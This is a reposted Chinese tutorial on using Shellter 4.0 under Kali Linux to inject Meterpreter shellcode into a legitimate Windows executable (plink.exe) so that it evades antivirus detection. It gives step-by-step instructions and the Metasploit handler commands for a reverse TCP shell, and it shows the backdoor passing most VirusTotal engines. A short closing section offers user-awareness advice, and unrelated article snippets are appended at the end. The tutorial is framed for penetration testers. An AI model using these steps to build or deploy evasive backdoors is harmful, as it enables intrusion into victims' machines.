用Kali Linux动态shellcode注入工具:Shellter 4.0 绕过反病毒软件

本文主要是介绍用Kali Linux动态shellcode注入工具:Shellter 4.0 绕过反病毒软件,希望对大家解决编程问题提供一定的参考价值,需要的开发者们随着小编来一起学习吧!

http://bobao.360.cn/learning/detail/554.html


详细介绍:http://drops.wooyun.org/tips/4225


用Kali Linux动态shellcode注入工具:Shellter 4.0 绕过反病毒软件

2015-07-24 18:59:32 来源:360安全播报 阅读:2646次 点赞(0) 收藏(1)


分享到:

http://p2.qhimg.com/t015417c19aca498620.jpg

你是否在为无法通过shell代码来绕过那讨人厌的反病毒软件而烦恼?你可以试试最新版本的Shellter 4.0。

Shellter是一个真正意义上的动态shellcode注入工具。我们所谓的“动态”,意思就是从一开始,我们的代码注入过程就不需要遵循一系列非常严苛的规则,比如说一定要在一个可执行的注入点或者在一个静态可预测的地方执行代码注入。Shellter目前仅支持在32位的操作平台上运行和使用。这个项目就是在过去的两年中,由我发起并在我的闲暇时间由我开发的一个项目。

本月初,B-Sides Lisbon网站发布了一款专为渗透测试人员开发设计的最新版本的Shellter。在此次的升级中,程序通过一个定义编码器和一个多态解码器提升了代码混淆的程度,这个版本的Shellter通过引入了最常见的Meterpreter shell代码,而为测试的过程节省了很多的步骤。

Shellter首先需要获取一个正常的Windows .exe可执行文件,然后它会将shell代码添加进去,这样就可以成功地修改这个文件并且使其绕过反病毒软件的监测了。该程序有一个自动模式,该模式会使整个操作过程变得十分的简单。在这片指导文章中,我会使用最新版本的Kali Linux系统以及一个装有Windows 7系统的虚拟机。

解释的已经够多了,接下来让我们实践一下!

1.下载并安装”shelter”。(https://www.shellterproject.com/download/)

**请注意:很明显,Kali目前的代码库中是不含有最新的4.0版本Shellter的。为了获取最新的版本,我们不能用传统的安装方法(使用apt-get安装shellter),我们必须下载并解压ZIP文件,并将文件拷贝至”/etc/share”文件夹中。

2.从Kali系统的“usr/share/windows-binaries”目录中得到“plink.exe”,然后将其拷贝至Shellter的文件夹中。

3.启动Shellter-从终端启动“shellter“,或者如果你手动安装了”wineconsole shelter”,你也可以在“/etc/share/shellter”目录下找到它并启动它。

http://p7.qhimg.com/t01015771be0c85d389.png

4.选项”A”表示开启自动模式。

5.在提示PE目标时,进入”plink.exe”。

6.当提示选择有效载荷时,选择“L”,然后选择“1”。

http://p7.qhimg.com/t01da0e81dc121709e8.png

7.接下来,查看你Kali系统的IP地址,并将IP地址输入进去(我的IP地址是192.168.1.39)。

8.添加程序所使用的端口(我使用的是5555)。

http://p0.qhimg.com/t01bf2f5f271611b340.png

Shellter将会对代码进行处理,这时你可能需要稍等一会儿。然后,你就可以看到:

http://p4.qhimg.com/t013fba2c43b64776ec.png

成功啦!

 9.现在,我们需要在Kali系统中启动一个监听服务,并使用与之前同样的参数对其进行配置。

l  启动Metasploit(在终端中输入msfconsole’’)

1
2
3
4
5
use exploit /multi/handler
set  payload windows /meterpreter/reverse_tcp
set  lhost 192.168.1.39
set  lport 5555
exploit


10.既然Kali在等待一个可用链接。那么我们就可以将plink.exe的命令拷贝至Windows 7系统中并且运行它:

http://p8.qhimg.com/t018537b285a5e8505f.png

然后,我们就得到了一个shell!

http://p6.qhimg.com/t01ff305a2098f6dcc0.png

与处理之前的程序相比,经过处理的后门程序的大小与处理之前的程序在大小上是完全一样的!现在,你可以将你的后门程序上传至Virustotal网站,并使用网站提供的工具对你的程序进行恶意内容检测了:

http://p6.qhimg.com/t01d08c65aafc0373b1.png

有一个反病毒引擎的检测结果为恶意的,但是这个反病毒软件并不是一款主流的反病毒产品…

结论

正如你所见,制作一个能够绕过反病毒软件的后门文件是非常容易的。反病毒软件是很厉害的,但是它并不能阻止所有的东西,你还需要让你的用户在浏览网站,社交媒体和电子邮件的时候保持警惕。

避免访问那些可疑的网站,不要允许网站弹出窗口和警告,也不要根据网站的提示安装任何的东西,当然了,你也不要随意打开电子邮件中可疑的附件文件。如果你并不清楚这个文件是否安全,你可以询问你的IT部门来获取帮助。哪怕你的用户只有一点点的警惕性,那么对于保护你网络的安全性也会有莫大的帮助!


相关阅读:

Shellter:动态shellcode注入工具

本文由 360安全播报 翻译,转载请注明“转自360安全播报”,并附上链接。


这篇关于用Kali Linux动态shellcode注入工具:Shellter 4.0 绕过反病毒软件的文章就介绍到这儿,希望我们推荐的文章对编程师们有所帮助!



http://www.chinasem.cn/article/253776

相关文章

linux-基础知识3

打包和压缩 zip 安装zip软件包 yum -y install zip unzip 压缩打包命令: zip -q -r -d -u 压缩包文件名 目录和文件名列表 -q:不显示命令执行过程-r:递归处理,打包各级子目录和文件-u:把文件增加/替换到压缩包中-d:从压缩包中删除指定的文件 解压:unzip 压缩包名 打包文件 把压缩包从服务器下载到本地 把压缩包上传到服务器(zip

第10章 中断和动态时钟显示

第10章 中断和动态时钟显示 从本章开始,按照书籍的划分,第10章开始就进入保护模式(Protected Mode)部分了,感觉从这里开始难度突然就增加了。 书中介绍了为什么有中断(Interrupt)的设计,中断的几种方式:外部硬件中断、内部中断和软中断。通过中断做了一个会走的时钟和屏幕上输入字符的程序。 我自己理解中断的一些作用: 为了更好的利用处理器的性能。协同快速和慢速设备一起工作

动态规划---打家劫舍

题目: 你是一个专业的小偷,计划偷窃沿街的房屋。每间房内都藏有一定的现金,影响你偷窃的唯一制约因素就是相邻的房屋装有相互连通的防盗系统,如果两间相邻的房屋在同一晚上被小偷闯入,系统会自动报警。 给定一个代表每个房屋存放金额的非负整数数组,计算你 不触动警报装置的情况下 ,一夜之内能够偷窃到的最高金额。 思路: 动态规划五部曲: 1.确定dp数组及含义 dp数组是一维数组,dp[i]代表

高效录音转文字:2024年四大工具精选!

在快节奏的工作生活中,能够快速将录音转换成文字是一项非常实用的能力。特别是在需要记录会议纪要、讲座内容或者是采访素材的时候,一款优秀的在线录音转文字工具能派上大用场。以下推荐几个好用的录音转文字工具! 365在线转文字 直达链接:https://www.pdf365.cn/ 365在线转文字是一款提供在线录音转文字服务的工具,它以其高效、便捷的特点受到用户的青睐。用户无需下载安装任何软件,只

Linux 网络编程 --- 应用层

一、自定义协议和序列化反序列化 代码: 序列化反序列化实现网络版本计算器 二、HTTP协议 1、谈两个简单的预备知识 https://www.baidu.com/ --- 域名 --- 域名解析 --- IP地址 http的端口号为80端口,https的端口号为443 url为统一资源定位符。CSDNhttps://mp.csdn.net/mp_blog/creation/editor

【Python编程】Linux创建虚拟环境并配置与notebook相连接

1.创建 使用 venv 创建虚拟环境。例如,在当前目录下创建一个名为 myenv 的虚拟环境: python3 -m venv myenv 2.激活 激活虚拟环境使其成为当前终端会话的活动环境。运行: source myenv/bin/activate 3.与notebook连接 在虚拟环境中,使用 pip 安装 Jupyter 和 ipykernel: pip instal

软件设计师备考——计算机系统

学习内容源自「软件设计师」 上午题 #1 计算机系统_哔哩哔哩_bilibili 目录 1.1.1 计算机系统硬件基本组成 1.1.2 中央处理单元 1.CPU 的功能 1)运算器 2)控制器 RISC && CISC 流水线控制 存储器  Cache 中断 输入输出IO控制方式 程序查询方式 中断驱动方式 直接存储器方式(DMA)  ​编辑 总线 ​编辑

Linux_kernel驱动开发11

一、改回nfs方式挂载根文件系统         在产品将要上线之前,需要制作不同类型格式的根文件系统         在产品研发阶段,我们还是需要使用nfs的方式挂载根文件系统         优点:可以直接在上位机中修改文件系统内容,延长EMMC的寿命         【1】重启上位机nfs服务         sudo service nfs-kernel-server resta

【Linux 从基础到进阶】Ansible自动化运维工具使用

Ansible自动化运维工具使用 Ansible 是一款开源的自动化运维工具,采用无代理架构(agentless),基于 SSH 连接进行管理,具有简单易用、灵活强大、可扩展性高等特点。它广泛用于服务器管理、应用部署、配置管理等任务。本文将介绍 Ansible 的安装、基本使用方法及一些实际运维场景中的应用,旨在帮助运维人员快速上手并熟练运用 Ansible。 1. Ansible的核心概念